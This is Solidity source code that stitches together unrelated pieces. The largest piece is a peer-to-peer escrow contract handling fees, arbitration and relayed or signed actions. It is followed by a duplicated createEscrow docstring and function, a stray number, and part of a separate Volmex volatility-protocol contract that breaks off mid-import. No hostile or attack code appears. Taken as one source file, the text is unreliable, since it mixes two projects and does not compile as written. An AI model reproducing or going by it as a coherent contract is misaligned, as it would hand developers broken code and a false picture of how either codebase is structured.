Ownable, ReentrancyGuard, SafeTransfer { address payable public feeDestination; uint public feeMilliPercent; mapping(address => uint) public feeTokenBalances; mapping(uint => bool) public feePaid; event FeeDestinationChanged(address payable); event FeeMilliPercentChanged(uint amount); event FeesWithdrawn(uint amount, address token); /** * @param _feeDestination Address to send the fees once withdraw is called * @param _feeMilliPercent Millipercent for the fee off teh amount sold */ constructor(address payable _feeDestination, uint _feeMilliPercent) public { feeDestination = _feeDestination; feeMilliPercent = _feeMilliPercent; } /** * @dev Set Fee Destination Address. * Can only be called by the owner of the contract * @param _addr New address */ function setFeeDestinationAddress(address payable _addr) external onlyOwner { feeDestination = _addr; emit FeeDestinationChanged(_addr); } /** * @dev Set Fee Amount * Can only be called by the owner of the contract * @param _feeMilliPercent New millipercent */ function setFeeAmount(uint _feeMilliPercent) external onlyOwner { feeMilliPercent = _feeMilliPercent; emit FeeMilliPercentChanged(_feeMilliPercent); } /** * @dev Release fee to fee destination and arbitrator * @param _arbitrator Arbitrator address to transfer fee to * @param _value Value sold in the escrow * @param _isDispute Boolean telling if it was from a dispute. With a dispute, the arbitrator gets more */ function _releaseFee(address payable _arbitrator, uint _value, address _tokenAddress, bool _isDispute) internal reentrancyGuard { uint _milliPercentToArbitrator; if (_isDispute) { _milliPercentToArbitrator = 100000; // 100% } else { _milliPercentToArbitrator = 10000; // 10% } uint feeAmount = _getValueOffMillipercent(_value, feeMilliPercent); uint arbitratorValue = _getValueOffMillipercent(feeAmount, _milliPercentToArbitrator); uint destinationValue = feeAmount - arbitratorValue; if (_tokenAddress != address(0)) { ERC20Token tokenToPay = ERC20Token(_tokenAddress); require(_safeTransfer(tokenToPay, _arbitrator, arbitratorValue), "Unsuccessful token transfer - arbitrator"); if (destinationValue > 0) { require(_safeTransfer(tokenToPay, feeDestination, destinationValue), "Unsuccessful token transfer - destination"); } } else { // EIP1884 fix (bool success, ) = _arbitrator.call.value(arbitratorValue)(""); require(success, "Transfer failed."); if (destinationValue > 0) { // EIP1884 fix (bool success, ) = feeDestination.call.value(destinationValue)(""); require(success, "Transfer failed."); } } } /** * @dev Calculate fee of an amount based in milliPercent * @param _value Value to obtain the fee * @param _milliPercent parameter to calculate the fee * @return Fee amount for _value */ function _getValueOffMillipercent(uint _value, uint _milliPercent) internal pure returns(uint) { // To get the factor, we divide like 100 like a normal percent, but we multiply that by 1000 because it's a milliPercent // Eg: 1 % = 1000 millipercent => Factor is 0.01, so 1000 divided by 100 * 1000 return (_value * _milliPercent) / (100 * 1000); } /** * @dev Pay fees for a transaction or element id * This will only transfer funds if the fee has not been paid * @param _from Address from where the fees are being extracted * @param _id Escrow id or element identifier to mark as paid * @param _value Value sold in the escrow * @param _tokenAddress Address of the token sold in the escrow */ function _payFee(address _from, uint _id, uint _value, address _tokenAddress) internal { if (feePaid[_id]) return; feePaid[_id] = true; uint feeAmount = _getValueOffMillipercent(_value, feeMilliPercent); feeTokenBalances[_tokenAddress] += feeAmount; if (_tokenAddress != address(0)) { require(msg.value == 0, "Cannot send ETH with token address different from 0"); ERC20Token tokenToPay = ERC20Token(_tokenAddress); require(_safeTransferFrom(tokenToPay, _from, address(this), feeAmount + _value), "Unsuccessful token transfer"); } else { require(msg.value == (_value + feeAmount), "ETH amount is required"); } } } /* solium-disable security/no-block-members */ /** * Arbitrable * @dev Utils for management of disputes */ contract Arbitrable { enum ArbitrationResult {UNSOLVED, BUYER, SELLER} enum ArbitrationMotive {NONE, UNRESPONSIVE, PAYMENT_ISSUE, OTHER} ArbitrationLicense public arbitratorLicenses; mapping(uint => ArbitrationCase) public arbitrationCases; address public fallbackArbitrator; struct ArbitrationCase { bool open; address openBy; address arbitrator; uint arbitratorTimeout; ArbitrationResult result; ArbitrationMotive motive; } event ArbitratorChanged(address arbitrator); event ArbitrationCanceled(uint escrowId); event ArbitrationRequired(uint escrowId, uint timeout); event ArbitrationResolved(uint escrowId, ArbitrationResult result, address arbitrator); /** * @param _arbitratorLicenses Address of the Arbitrator Licenses contract */ constructor(address _arbitratorLicenses, address _fallbackArbitrator) public { arbitratorLicenses = ArbitrationLicense(_arbitratorLicenses); fallbackArbitrator = _fallbackArbitrator; } /** * @param _escrowId Id of the escrow with an open dispute * @param _releaseFunds Release funds to the buyer * @param _arbitrator Address of the arbitrator solving the dispute * @dev Abstract contract used to perform actions after a dispute has been settled */ function _solveDispute(uint _escrowId, bool _releaseFunds, address _arbitrator) internal; /** * @notice Get arbitrator of an escrow * @return address Arbitrator address */ function _getArbitrator(uint _escrowId) internal view returns(address); /** * @notice Determine if a dispute exists/existed for an escrow * @param _escrowId Escrow to verify * @return bool result */ function isDisputed(uint _escrowId) public view returns (bool) { return _isDisputed(_escrowId); } function _isDisputed(uint _escrowId) internal view returns (bool) { return arbitrationCases[_escrowId].open || arbitrationCases[_escrowId].result != ArbitrationResult.UNSOLVED; } /** * @notice Determine if a dispute existed for an escrow * @param _escrowId Escrow to verify * @return bool result */ function hadDispute(uint _escrowId) public view returns (bool) { return arbitrationCases[_escrowId].result != ArbitrationResult.UNSOLVED; } /** * @notice Cancel arbitration * @param _escrowId Escrow to cancel */ function cancelArbitration(uint _escrowId) external { require(arbitrationCases[_escrowId].openBy == msg.sender, "Arbitration can only be canceled by the opener"); require(arbitrationCases[_escrowId].result == ArbitrationResult.UNSOLVED && arbitrationCases[_escrowId].open, "Arbitration already solved or not open"); delete arbitrationCases[_escrowId]; emit ArbitrationCanceled(_escrowId); } /** * @notice Opens a dispute between a seller and a buyer * @param _escrowId Id of the Escrow that is being disputed * @param _openBy Address of the person opening the dispute (buyer or seller) * @param _motive Description of the problem */ function _openDispute(uint _escrowId, address _openBy, uint8 _motive) internal { require(arbitrationCases[_escrowId].result == ArbitrationResult.UNSOLVED && !arbitrationCases[_escrowId].open, "Arbitration already solved or has been opened before"); address arbitratorAddress = _getArbitrator(_escrowId); require(arbitratorAddress != address(0), "Arbitrator is required"); uint timeout = block.timestamp + 5 days; arbitrationCases[_escrowId] = ArbitrationCase({ open: true, openBy: _openBy, arbitrator: arbitratorAddress, arbitratorTimeout: timeout, result: ArbitrationResult.UNSOLVED, motive: ArbitrationMotive(_motive) }); emit ArbitrationRequired(_escrowId, timeout); } /** * @notice Set arbitration result in favour of the buyer or seller and transfer funds accordingly * @param _escrowId Id of the escrow * @param _result Result of the arbitration */ function setArbitrationResult(uint _escrowId, ArbitrationResult _result) external { require(arbitrationCases[_escrowId].open && arbitrationCases[_escrowId].result == ArbitrationResult.UNSOLVED, "Case must be open and unsolved"); require(_result != ArbitrationResult.UNSOLVED, "Arbitration does not have result"); require(arbitratorLicenses.isLicenseOwner(msg.sender), "Only arbitrators can invoke this function"); if (block.timestamp > arbitrationCases[_escrowId].arbitratorTimeout) { require(arbitrationCases[_escrowId].arbitrator == msg.sender || msg.sender == fallbackArbitrator, "Invalid escrow arbitrator"); } else { require(arbitrationCases[_escrowId].arbitrator == msg.sender, "Invalid escrow arbitrator"); } arbitrationCases[_escrowId].open = false; arbitrationCases[_escrowId].result = _result; emit ArbitrationResolved(_escrowId, _result, msg.sender); if(_result == ArbitrationResult.BUYER){ _solveDispute(_escrowId, true, msg.sender); } else { _solveDispute(_escrowId, false, msg.sender); } } } /** * @title Escrow * @dev Escrow contract for selling ETH and ERC20 tokens */ contract Escrow is IEscrow, Pausable, MessageSigned, Fees, Arbitrable, Proxiable { EscrowTransaction[] public transactions; address public relayer; MetadataStore public metadataStore; event Created(uint indexed offerId, address indexed seller, address indexed buyer, uint escrowId); event Funded(uint indexed escrowId, address indexed buyer, uint expirationTime, uint amount); event Paid(uint indexed escrowId, address indexed seller); event Released(uint indexed escrowId, address indexed seller, address indexed buyer, bool isDispute); event Canceled(uint indexed escrowId, address indexed seller, address indexed buyer, bool isDispute); event Rating(uint indexed offerId, address indexed participant, uint indexed escrowId, uint rating, bool ratingSeller); bool internal _initialized; /** * @param _relayer EscrowRelay contract address * @param _fallbackArbitrator Default arbitrator to use after timeout on solving arbitrations * @param _arbitratorLicenses License contract instance address for arbitrators * @param _metadataStore MetadataStore contract address * @param _feeDestination Address where the fees are going to be sent * @param _feeMilliPercent Percentage applied as a fee to each escrow. 1000 == 1% */ constructor( address _relayer, address _fallbackArbitrator, address _arbitratorLicenses, address _metadataStore, address payable _feeDestination, uint _feeMilliPercent) Fees(_feeDestination, _feeMilliPercent) Arbitrable(_arbitratorLicenses, _fallbackArbitrator) public { _initialized = true; relayer = _relayer; metadataStore = MetadataStore(_metadataStore); } /** * @dev Initialize contract (used with proxy). Can only be called once * @param _fallbackArbitrator Default arbitrator to use after timeout on solving arbitrations * @param _relayer EscrowRelay contract address * @param _arbitratorLicenses License contract instance address for arbitrators * @param _metadataStore MetadataStore contract address * @param _feeDestination Address where the fees are going to be sent * @param _feeMilliPercent Percentage applied as a fee to each escrow. 1000 == 1% */ function init( address _fallbackArbitrator, address _relayer, address _arbitratorLicenses, address _metadataStore, address payable _feeDestination, uint _feeMilliPercent ) external { assert(_initialized == false); _initialized = true; fallbackArbitrator = _fallbackArbitrator; arbitratorLicenses = ArbitrationLicense(_arbitratorLicenses); metadataStore = MetadataStore(_metadataStore); relayer = _relayer; feeDestination = _feeDestination; feeMilliPercent = _feeMilliPercent; paused = false; _setOwner(msg.sender); } function updateCode(address newCode) public onlyOwner { updateCodeAddress(newCode); } /** * @dev Update relayer contract address. Can only be called by the contract owner * @param _relayer EscrowRelay contract address */ function setRelayer(address _relayer) external onlyOwner { relayer = _relayer; } /** * @dev Update fallback arbitrator. Can only be called by the contract owner * @param _fallbackArbitrator New fallback arbitrator */ function setFallbackArbitrator(address _fallbackArbitrator) external onlyOwner { fallbackArbitrator = _fallbackArbitrator; } /** * @dev Update license contract addresses * @param _arbitratorLicenses License contract instance address for arbitrators */ function setArbitratorLicense(address _arbitratorLicenses) external onlyOwner { arbitratorLicenses = ArbitrationLicense(_arbitratorLicenses); } /** * @dev Update MetadataStore contract address * @param _metadataStore MetadataStore contract address */ function setMetadataStore(address _metadataStore) external onlyOwner { metadataStore = MetadataStore(_metadataStore); } /** * @dev Escrow creation logic. Requires contract to be unpaused * @param _buyer Buyer Address * @param _offerId Offer * @param _tokenAmount Amount buyer is willing to trade * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount * @return Id of the Escrow */ function _createTransaction( address payable _buyer, uint _offerId, uint _tokenAmount, uint _fiatAmount ) internal whenNotPaused returns(uint escrowId) { address payable seller; address payable arbitrator; bool deleted; address token; (token, , , , , , seller, arbitrator, deleted) = metadataStore.offer(_offerId); require(!deleted, "Offer is not valid"); require(seller != _buyer, "Seller and Buyer must be different"); require(arbitrator != _buyer && arbitrator != address(0), "Cannot buy offers where buyer is arbitrator"); require(_tokenAmount != 0 && _fiatAmount != 0, "Trade amounts cannot be 0"); escrowId = transactions.length++; EscrowTransaction storage trx = transactions[escrowId]; trx.offerId = _offerId; trx.token = token; trx.buyer = _buyer; trx.seller = seller; trx.arbitrator = arbitrator; trx.tokenAmount = _tokenAmount; trx.fiatAmount = _fiatAmount; emit Created( _offerId, seller, _buyer, escrowId ); } /** * @notice Create a new escrow * @param _offerId Offer * @param _tokenAmount Amount buyer is willing to trade * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount * @param _contactData Contact Data ContactType:UserId * @param _location The location on earth * @param _username The username of the user * @return Id of the new escrow * @dev Requires contract to be unpaused. */ function createEscrow( uint _offerId, uint _tokenAmount, uint _fiatAmount, string memory _contactData, string memory _location, string memory _username ) public returns(uint escrowId) { metadataStore.addOrUpdateUser(msg.sender, _contactData, _location, _username); escrowId = _createTransaction(msg.sender, _offerId, _tokenAmount, _fiatAmount); } /** * @notice Create a new escrow * @param _offerId Offer * @param _tokenAmount Amount buyer is willing to trade * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount * @param _contactData Contact Data ContactType:UserId * @param _username The username of the user * @param _nonce The nonce for the user (from MetadataStore.user_nonce(address)) * @param _signature buyer's signature * @return Id of the new escrow * @dev Requires contract to be unpaused. * The seller needs to be licensed. */ function createEscrow( uint _offerId, uint _tokenAmount, uint _fiatAmount, string memory _contactData, string memory _location, string memory _username, uint _nonce, bytes memory _signature ) public returns(uint escrowId) { address payable _buyer = metadataStore.addOrUpdateUser(_signature, _contactData, _location, _username, _nonce); escrowId = _createTransaction(_buyer, _offerId, _tokenAmount, _fiatAmount); } /** * @dev Relay function for creating a transaction * Can only be called by relayer address * @param _sender Address marking the transaction as paid * @param _offerId Offer * @param _tokenAmount Amount buyer is willing to trade * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount * @param _contactData Contact Data ContactType:UserId * @param _location The location on earth * @param _username The username of the user * @return Id of the new escrow * @dev Requires contract to be unpaused. * The seller needs to be licensed. */ function createEscrow_relayed( address payable _sender, uint _offerId, uint _tokenAmount, uint _fiatAmount, string calldata _contactData, string calldata _location, string calldata _username ) external returns(uint escrowId) { assert(msg.sender == relayer); metadataStore.addOrUpdateUser(_sender, _contactData, _location, _username); escrowId = _createTransaction(_sender, _offerId, _tokenAmount, _fiatAmount); } /** * @notice Fund a new escrow * @param _escrowId Id of the escrow * @dev Requires contract to be unpaused. * The expiration time must be at least 10min in the future * For eth transfer, _amount must be equals to msg.value, for token transfer, requires an allowance and transfer valid for _amount */ function fund(uint _escrowId) external payable whenNotPaused { _fund(msg.sender, _escrowId); } /** * @dev Escrow funding logic * @param _from Seller address * @param _escrowId Id of the escrow * @dev Requires contract to be unpaused. * The expiration time must be at least 10min in the future * For eth transfer, _amount must be equals to msg.value, for token transfer, requires an allowance and transfer valid for _amount */ function _fund(address _from, uint _escrowId) internal whenNotPaused { require(transactions[_escrowId].seller == _from, "Only the seller can invoke this function"); require(transactions[_escrowId].status == EscrowStatus.CREATED, "Invalid escrow status"); transactions[_escrowId].expirationTime = block.timestamp + 5 days; transactions[_escrowId].status = EscrowStatus.FUNDED; uint tokenAmount = transactions[_escrowId].tokenAmount; address token = transactions[_escrowId].token; _payFee(_from, _escrowId, tokenAmount, token); emit Funded(_escrowId, transactions[_escrowId].buyer, block.timestamp + 5 days, tokenAmount); } /** * @notice Create and fund a new escrow, as a seller, once you get a buyer signature * @param _offerId Offer * @param _tokenAmount Amount buyer is willing to trade * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount * @param _bContactData Contact Data ContactType:UserId * @param _bLocation The location on earth * @param _bUsername The username of the user * @param _bNonce The nonce for the user (from MetadataStore.user_nonce(address)) * @param _bSignature buyer's signature * @return Id of the new escrow * @dev Requires contract to be unpaused. * Restrictions from escrow creation and funding applies */ function createAndFund ( uint _offerId, uint _tokenAmount, uint _fiatAmount, string memory _bContactData, string memory _bLocation, string memory _bUsername, uint _bNonce, bytes memory _bSignature ) public payable returns(uint escrowId) { address payable _buyer = metadataStore.addOrUpdateUser(_bSignature, _bContactData, _bLocation, _bUsername, _bNonce); escrowId = _createTransaction(_buyer, _offerId, _tokenAmount, _fiatAmount); _fund(msg.sender, escrowId); } /** * @dev Buyer marks transaction as paid * @param _sender Address marking the transaction as paid * @param _escrowId Id of the escrow */ function _pay(address _sender, uint _escrowId) internal { EscrowTransaction storage trx = transactions[_escrowId]; require(trx.status == EscrowStatus.FUNDED, "Transaction is not funded"); require(trx.expirationTime > block.timestamp, "Transaction already expired"); require(trx.buyer == _sender, "Only the buyer can invoke this function"); trx.status = EscrowStatus.PAID; emit Paid(_escrowId, trx.seller); } /** * @notice Mark transaction as paid * @param _escrowId Id of the escrow * @dev Can only be executed by the buyer */ function pay(uint _escrowId) external { _pay(msg.sender, _escrowId); } /** * @dev Relay function for marking a transaction as paid * Can only be called by relayer address * @param _sender Address marking the transaction as paid * @param _escrowId Id of the escrow */ function pay_relayed(address _sender, uint _escrowId) external { assert(msg.sender == relayer); _pay(_sender, _escrowId); } /** * @notice Obtain message hash to be signed for marking a transaction as paid * @param _escrowId Id of the escrow * @return message hash * @dev Once message is signed, pass it as _signature of pay(uint256,bytes) */ function paySignHash(uint _escrowId) public view returns(bytes32){ return keccak256( abi.encodePacked( address(this), "pay(uint256)", _escrowId ) ); } /** * @notice Mark transaction as paid (via signed message) * @param _escrowId Id of the escrow * @param _signature Signature of the paySignHash result. * @dev There's a high probability of buyers not having ether to pay for the transaction. * This allows anyone to relay the transaction. * TODO: consider deducting funds later on release to pay the relayer (?) */ function pay(uint _escrowId, bytes calldata _signature) external { address sender = _recoverAddress(_getSignHash(paySignHash(_escrowId)), _signature); _pay(sender, _escrowId); } /** * @dev Release funds to buyer * @param _escrowId Id of the escrow * @param _trx EscrowTransaction with data of transaction to be released * @param _isDispute indicates if the release happened due to a dispute */ function _release(uint _escrowId, EscrowTransaction storage _trx, bool _isDispute) internal { require(_trx.status != EscrowStatus.RELEASED, "Already released"); _trx.status = EscrowStatus.RELEASED; if(!_isDispute){ metadataStore.refundStake(_trx.offerId); } address token = _trx.token; if(token == address(0)){ (bool success, ) = _trx.buyer.call.value(_trx.tokenAmount)(""); require(success, "Transfer failed."); } else { require(_safeTransfer(ERC20Token(token), _trx.buyer, _trx.tokenAmount), "Couldn't transfer funds"); } _releaseFee(_trx.arbitrator, _trx.tokenAmount, token, _isDispute); emit Released(_escrowId, _trx.seller, _trx.buyer, _isDispute); } /** * @notice Release escrow funds to buyer * @param _escrowId Id of the escrow * @dev Requires contract to be unpaused. * Can only be executed by the seller * Transaction must not be expired, or previously canceled or released */ function release(uint _escrowId) external { EscrowStatus mStatus = transactions[_escrowId].status; require(transactions[_escrowId].seller == msg.sender, "Only the seller can invoke this function"); require(mStatus == EscrowStatus.PAID || mStatus == EscrowStatus.FUNDED, "Invalid transaction status"); require(!_isDisputed(_escrowId), "Can't release a transaction that has an arbitration process"); _release(_escrowId, transactions[_escrowId], false); } /** * @dev Cancel an escrow operation * @param _escrowId Id of the escrow * @notice Requires contract to be unpaused. * Can only be executed by the seller * Transaction must be expired, or previously canceled or released */ function cancel(uint _escrowId) external whenNotPaused { EscrowTransaction storage trx = transactions[_escrowId]; EscrowStatus mStatus = trx.status; require(mStatus == EscrowStatus.FUNDED || mStatus == EscrowStatus.CREATED, "Only transactions in created or funded state can be canceled"); require(trx.buyer == msg.sender || trx.seller == msg.sender, "Only participants can invoke this function"); if(mStatus == EscrowStatus.FUNDED){ if(msg.sender == trx.seller){ require(trx.expirationTime < block.timestamp, "Can only be canceled after expiration"); } } _cancel(_escrowId, trx, false); } // Same as cancel, but relayed by a contract so we get the sender as param function cancel_relayed(address _sender, uint _escrowId) external { assert(msg.sender == relayer); EscrowTransaction storage trx = transactions[_escrowId]; EscrowStatus mStatus = trx.status; require(trx.buyer == _sender, "Only the buyer can invoke this function"); require(mStatus == EscrowStatus.FUNDED || mStatus == EscrowStatus.CREATED, "Only transactions in created or funded state can be canceled"); _cancel(_escrowId, trx, false); } /** * @dev Cancel transaction and send funds back to seller * @param _escrowId Id of the escrow * @param trx EscrowTransaction with details of transaction to be marked as canceled */ function _cancel(uint _escrowId, EscrowTransaction storage trx, bool isDispute) internal { EscrowStatus origStatus = trx.status; require(trx.status != EscrowStatus.CANCELED, "Already canceled"); trx.status = EscrowStatus.CANCELED; if (origStatus == EscrowStatus.FUNDED) { address token = trx.token; uint amount = trx.tokenAmount; if (!isDispute) { amount += _getValueOffMillipercent(trx.tokenAmount, feeMilliPercent); } if (token == address(0)) { (bool success, ) = trx.seller.call.value(amount)(""); require(success, "Transfer failed."); } else { ERC20Token erc20token = ERC20Token(token); require(_safeTransfer(erc20token, trx.seller, amount), "Transfer failed"); } } trx.status = EscrowStatus.CANCELED; emit Canceled(_escrowId, trx.seller, trx.buyer, isDispute); } /** * @notice Rates a transaction * @param _escrowId Id of the escrow * @param _rate rating of the transaction from 1 to 5 * @dev Can only be executed by the buyer * Transaction must released */ function _rateTransaction(address _sender, uint _escrowId, uint _rate) internal { require(_rate >= 1, "Rating needs to be at least 1"); require(_rate <= 5, "Rating needs to be at less than or equal to 5"); EscrowTransaction storage trx = transactions[_escrowId]; require(trx.status == EscrowStatus.RELEASED || hadDispute(_escrowId), "Transaction not completed yet"); if (trx.buyer == _sender) { require(trx.sellerRating == 0, "Transaction already rated"); emit Rating(trx.offerId, trx.seller, _escrowId, _rate, true); trx.sellerRating = _rate; } else if (trx.seller == _sender) { require(trx.buyerRating == 0, "Transaction already rated"); emit Rating(trx.offerId, trx.buyer, _escrowId, _rate, false); trx.buyerRating = _rate; } else { revert("Only participants can invoke this function"); } } /** * @notice Rates a transaction * @param _escrowId Id of the escrow * @param _rate rating of the transaction from 1 to 5 * @dev Can only be executed by the buyer * Transaction must released */ function rateTransaction(uint _escrowId, uint _rate) external { _rateTransaction(msg.sender, _escrowId, _rate); } // Same as rateTransaction, but relayed by a contract so we get the sender as param function rateTransaction_relayed(address _sender, uint _escrowId, uint _rate) external { assert(msg.sender == relayer); _rateTransaction(_sender, _escrowId, _rate); } /** * @notice Returns basic trade informations (buyer address, seller address, token address and token amount) * @param _escrowId Id of the escrow */ function getBasicTradeData(uint _escrowId) external view returns(address payable buyer, address payable seller, address token, uint tokenAmount) { buyer = transactions[_escrowId].buyer; seller = transactions[_escrowId].seller; tokenAmount = transactions[_escrowId].tokenAmount; token = transactions[_escrowId].token; return (buyer, seller, token, tokenAmount); } /** * @notice Open case as a buyer or seller for arbitration * @param _escrowId Id of the escrow * @param _motive Motive for opening the dispute */ function openCase(uint _escrowId, uint8 _motive) external { EscrowTransaction storage trx = transactions[_escrowId]; require(!isDisputed(_escrowId), "Case already exist"); require(trx.buyer == msg.sender || trx.seller == msg.sender, "Only participants can invoke this function"); require(trx.status == EscrowStatus.PAID, "Cases can only be open for paid transactions"); _openDispute(_escrowId, msg.sender, _motive); } /** * @dev Open case via relayer * @param _sender Address initiating the relayed transaction * @param _escrowId Id of the escrow * @param _motive Motive for opening the dispute */ function openCase_relayed(address _sender, uint256 _escrowId, uint8 _motive) external { assert(msg.sender == relayer); EscrowTransaction storage trx = transactions[_escrowId]; require(!isDisputed(_escrowId), "Case already exist"); require(trx.buyer == _sender, "Only the buyer can invoke this function"); require(trx.status == EscrowStatus.PAID, "Cases can only be open for paid transactions"); _openDispute(_escrowId, _sender, _motive); } /** * @notice Open case as a buyer or seller for arbitration via a relay account * @param _escrowId Id of the escrow * @param _motive Motive for opening the dispute * @param _signature Signed message result of openCaseSignHash(uint256) * @dev Consider opening a dispute in aragon court. */ function openCase(uint _escrowId, uint8 _motive, bytes calldata _signature) external { EscrowTransaction storage trx = transactions[_escrowId]; require(!isDisputed(_escrowId), "Case already exist"); require(trx.status == EscrowStatus.PAID, "Cases can only be open for paid transactions"); address senderAddress = _recoverAddress(_getSignHash(openCaseSignHash(_escrowId, _motive)), _signature); require(trx.buyer == senderAddress || trx.seller == senderAddress, "Only participants can invoke this function"); _openDispute(_escrowId, msg.sender, _motive); } /** * @notice Set arbitration result in favour of the buyer or seller and transfer funds accordingly * @param _escrowId Id of the escrow * @param _releaseFunds Release funds to buyer or cancel escrow * @param _arbitrator Arbitrator address */ function _solveDispute(uint _escrowId, bool _releaseFunds, address _arbitrator) internal { EscrowTransaction storage trx = transactions[_escrowId]; require(trx.buyer != _arbitrator && trx.seller != _arbitrator, "Arbitrator cannot be part of transaction"); if (_releaseFunds) { _release(_escrowId, trx, true); metadataStore.slashStake(trx.offerId); } else { _cancel(_escrowId, trx, true); _releaseFee(trx.arbitrator, trx.tokenAmount, trx.token, true); } } /** * @notice Get arbitrator * @param _escrowId Id of the escrow * @return Arbitrator address */ function _getArbitrator(uint _escrowId) internal view returns(address) { return transactions[_escrowId].arbitrator; } /** * @notice Obtain message hash to be signed for opening a case * @param _escrowId Id of the escrow * @return message hash * @dev Once message is signed, pass it as _signature of openCase(uint256,bytes) */ function openCaseSignHash(uint _escrowId, uint8 _motive) public view returns(bytes32){ return keccak256( abi.encodePacked( address(this), "openCase(uint256)", _escrowId, _motive ) ); } /** * @dev Support for "approveAndCall". Callable only by the fee token. * @param _from Who approved. * @param _amount Amount being approved, need to be equal `getPrice()`. * @param _token Token being approved, need to be equal `token()`. * @param _data Abi encoded data with selector of `register(bytes32,address,bytes32,bytes32)`. */ function receiveApproval(address _from, uint256 _amount, address _token, bytes memory _data) public { require(_token == address(msg.sender), "Wrong call"); require(_data.length == 36, "Wrong data length"); bytes4 sig; uint256 escrowId; (sig, escrowId) = _abiDecodeFundCall(_data); if (sig == bytes4(0xca1d209d)){ // fund(uint256) uint tokenAmount = transactions[escrowId].tokenAmount; require(_amount == tokenAmount + _getValueOffMillipercent(tokenAmount, feeMilliPercent), "Invalid amount"); _fund(_from, escrowId); } else { revert("Wrong method selector"); } } /** * @dev Decodes abi encoded data with selector for "fund". * @param _data Abi encoded data. * @return Decoded registry call. */ function _abiDecodeFundCall(bytes memory _data) internal pure returns (bytes4 sig, uint256 escrowId) { assembly { sig := mload(add(_data, add(0x20, 0))) escrowId := mload(add(_data, 36)) } } /** * @dev Withdraws funds to the sellers in case of emergency * Requires contract to be paused. * Can be executed by anyone * Transaction must not be canceled or released * @param _escrowId Id of the Escrow */ function withdraw_emergency(uint _escrowId) external whenPaused { EscrowTransaction storage trx = transactions[_escrowId]; require(trx.status == EscrowStatus.FUNDED, "Cannot withdraw from escrow in a stage different from FUNDED. Open a case"); _cancel(_escrowId, trx, false); } }
Create a new escrow _offerId Offer _tokenAmount Amount buyer is willing to trade _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount _contactData Contact Data ContactType:UserId _username The username of the user _nonce The nonce for the user (from MetadataStore.user_nonce(address)) _signature buyer's signature return Id of the new escrow Requires contract to be unpaused. The seller needs to be licensed./
function createEscrow( uint _offerId, uint _tokenAmount, uint _fiatAmount, string memory _contactData, string memory _location, string memory _username, uint _nonce, bytes memory _signature ) public returns(uint escrowId) { address payable _buyer = metadataStore.addOrUpdateUser(_signature, _contactData, _location, _username, _nonce); escrowId = _createTransaction(_buyer, _offerId, _tokenAmount, _fiatAmount); }
1,798,013
// SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.8.4; import "./VolmexProtocol.sol"; import "../library/VolmexSafeERC20.sol"; /** * @title Protocol Contract with Precision * @author volmex.finance [[email protected]] * * This protocol is used for decimal values less than 18. */ contract VolmexProtocolWithPrecision is VolmexProtocol { using VolmexSafeERC20 for IERC20Modified; // This is the ratio of standard ERC20 tokens decimals by custom token decimals // Calculation for USDC: 10^18 / 10^6 = 10^12 // Where 10^18 represent precision of volatility token decimals and 10^6 represent USDC (collateral) decimals uint256 public precisionRatio; /** * @dev Makes the protocol `active` at deployment * @dev Sets the `minimumCollateralQty` * @dev Makes the collateral token as `collateral` * @dev Assign position tokens * @dev Sets the `volatilityCapRatio` * * @param _collateralTokenAddress is address of collateral token typecasted to IERC20Modified * @param _volatilityToken is address of volatility index token typecasted to IERC20Modified * @param _inverseVolatilityToken is address of inverse volatility index token typecasted to IERC20Modified * @param _minimumCollateralQty is the minimum qty of tokens need to mint 0.1 volatility and inverse volatility tokens * @param _volatilityCapRatio is the cap for volatility * @param _ratio Ratio of standard ERC20 token decimals (18) by custom token */ function initializePrecision( IERC20Modified _collateralTokenAddress, IERC20Modified _volatilityToken, IERC20Modified _inverseVolatilityToken, uint256 _minimumCollateralQty, uint256 _volatilityCapRatio, uint256 _ratio ) external initializer { initialize( _collateralTokenAddress, _volatilityToken, _inverseVolatilityToken, _minimumCollateralQty, _volatilityCapRatio ); precisionRatio = _ratio; } /** * @notice Add collateral to the protocol and mint the position tokens * @param _collateralQty Quantity of the collateral being deposited * * @dev Added precision ratio to calculate the effective collateral qty * * NOTE: Collateral quantity should be at least required minimum collateral quantity * * Calculation: Get the quantity for position token * Mint the position token for `msg.sender` * */ function collateralize(uint256 _collateralQty) external virtual override onlyActive onlyNotSettled { require( _collateralQty >= minimumCollateralQty, "Volmex: CollateralQty > minimum qty required" ); // Mechanism to calculate the collateral qty using the increase in balance // of protocol contract to counter USDT's fee mechanism, which can be enabled in future uint256 initialProtocolBalance = collateral.balanceOf(address(this)); collateral.safeTransferFrom(msg.sender, address(this), _collateralQty); uint256 finalProtocolBalance = collateral.balanceOf(address(this)); _collateralQty = finalProtocolBalance - initialProtocolBalance; uint256 fee; if (issuanceFees > 0) { fee = (_collateralQty * issuanceFees) / 10000; _collateralQty = _collateralQty - fee; accumulatedFees = accumulatedFees + fee; } uint256 effectiveCollateralQty = _collateralQty * precisionRatio; uint256 qtyToBeMinted = effectiveCollateralQty / volatilityCapRatio; volatilityToken.mint(msg.sender, qtyToBeMinted); inverseVolatilityToken.mint(msg.sender, qtyToBeMinted); emit Collateralized(msg.sender, _collateralQty, qtyToBeMinted, fee); } function _redeem( uint256 _collateralQtyRedeemed, uint256 _volatilityIndexTokenQty, uint256 _inverseVolatilityIndexTokenQty ) internal virtual override { require( _collateralQtyRedeemed > precisionRatio, "Volmex: Collateral qty is less" ); uint256 effectiveCollateralQty = _collateralQtyRedeemed / precisionRatio; uint256 fee; if (redeemFees > 0) { fee = (_collateralQtyRedeemed * redeemFees) / (precisionRatio * 10000); effectiveCollateralQty = effectiveCollateralQty - fee; accumulatedFees = accumulatedFees + fee; } volatilityToken.burn(msg.sender, _volatilityIndexTokenQty); inverseVolatilityToken.burn( msg.sender, _inverseVolatilityIndexTokenQty ); collateral.safeTransfer(msg.sender, effectiveCollateralQty); emit Redeemed( msg.sender, effectiveCollateralQty, _volatilityIndexTokenQty, _inverseVolatilityIndexTokenQty, fee ); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.8.4; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import 